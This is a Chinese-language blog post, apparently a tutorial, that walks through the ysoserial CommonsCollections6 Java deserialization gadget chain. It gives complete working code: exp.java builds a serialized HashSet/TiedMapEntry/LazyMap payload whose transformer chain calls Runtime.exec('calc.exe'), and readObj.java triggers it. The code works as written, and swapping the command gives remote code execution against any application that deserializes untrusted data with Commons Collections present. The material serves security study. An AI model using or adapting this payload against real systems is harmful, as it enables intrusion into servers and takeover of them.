• java反序列化-ysoserial-调试分析总结篇(6)


    前言:

    这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示

    利用链分析:

    首先在hashset内部首先获取器容量与负载因子等操作,然后创建hashmap,将ObjectinputStream中的对象放到hashmap中,即调用hashmap.put函数,可以看到此时实际上放进去的是一个TiedMapEntry,TiedMapEntry是cc5加入进去的一个Map类,其getvalue函数能够获取指定map的key,所以跟进

    hashMap在放入元素时将会对当前的key计算一个hash值,即这里调用hashCode()函数,所以即调用TiedMapEntry的hashCode()函数,在hashCode函数中将调用该类的getvalue函数,

    所以从此刻开始就和CommonsCollections5的后续利用链相同了,因为CC5是在该类的toString中调用getvalue

    接着就跳到this.map.get(this.key),此时this.map即为lazymap.get

     

    在lazymap.get中将调用this.factory.transform,而我们知道this.factory是可控的,这里依然为chaindTransform

     

    接下来到了chainedTransformer的transform了,接下来的过程不再赘述,即为contantTransform+invokeTranform结合反射调用方法来进行rce

     

     yso构造分析:

    这里还是老套路,先构造内部transform转换链,然后构造lazymap,将chained链放进去,接着将lazymap放到TiedMapEntry中

    接下来构造hashset实例

     

    接着拿到该hashset的map属性,该属性就是个hashmap

    接着拿到haspmap中的table属性,在table中存储节点对象,然后通过反射拿到节点数组,

      

    接着令节点存储Tiedmapentry放进该node节点的key

    这里下断点跟一下往haspset中放数据的过程也就是haspmap的存储过程,比如这里exp中存第一个元素,就是新建一个node节点,即当前的key为"tr1ple"

    手动构造exp:

     exp.java

    package CommonsCollections6;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import java.lang.reflect.Method;
    import java.lang.Class;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class exp {
        public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
            //构造内部转换链
            Transformer[] trans = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class,Object[].class},
                            new Object[]{null,null}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},new Object[]{"calc.exe"}
                            )
            };
            ChainedTransformer chain = new ChainedTransformer(trans);
            HashMap innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, chain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple");
    
    
            //构造外部入口链
            HashSet newSet = new HashSet(1);
            newSet.add("tr1ple");
            Field innerSetMap  = HashSet.class.getDeclaredField("map");
            innerSetMap.setAccessible(true);
            //修改hashset内部的hashmap存储
            HashMap setMap = (HashMap)innerSetMap.get(newSet);
            Field table = HashMap.class.getDeclaredField("table");
            table.setAccessible(true);
            //拿到存储的数据
            Object[] obj =(Object[])table.get(setMap);
            Object node  = obj[0];
    
            System.out.println(node.getClass().getName());
            Method[] methods  = node.getClass().getMethods();
            /*
            for(int i=0;i<methods.length;i++){
                System.out.println(methods[i].getName());
            }
            */
            //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry
            System.out.println(node.toString());
            
            Field key = node.getClass().getDeclaredField("key");
            key.setAccessible(true);
            key.set(node,entry);
            //hashset的hashmap中的node节点修改完值以后放进hashset
            Field finalMap = newSet.getClass().getDeclaredField("map");
            finalMap.setAccessible(true);
            finalMap.set(newSet,setMap);
    
            //序列化
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
            ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
            objOut.writeObject(newSet);
    
        }
    }

    readObj.java

    package CommonsCollections6;
    
    import java.io.*;
    import java.lang.Runtime;
    
    public class readObj {
        public static void main(String[] args) throws IOException, ClassNotFoundException {
            File file;
            file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
            ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
            obj.readObject();
    
        }
    }
  • 相关阅读:
    Part 1R 函数、极限和连续
    Part 1 函数、极限与连续
    C++继承与派生
    VUE笔记
    VUE错误记录
    VUE笔记
    VUE笔记
    VUE笔记
    JS学习笔记
    Node.js笔记 请求方式 GET
  • 原文地址:https://www.cnblogs.com/tr1ple/p/12421157.html
Copyright © 2020-2023  润新知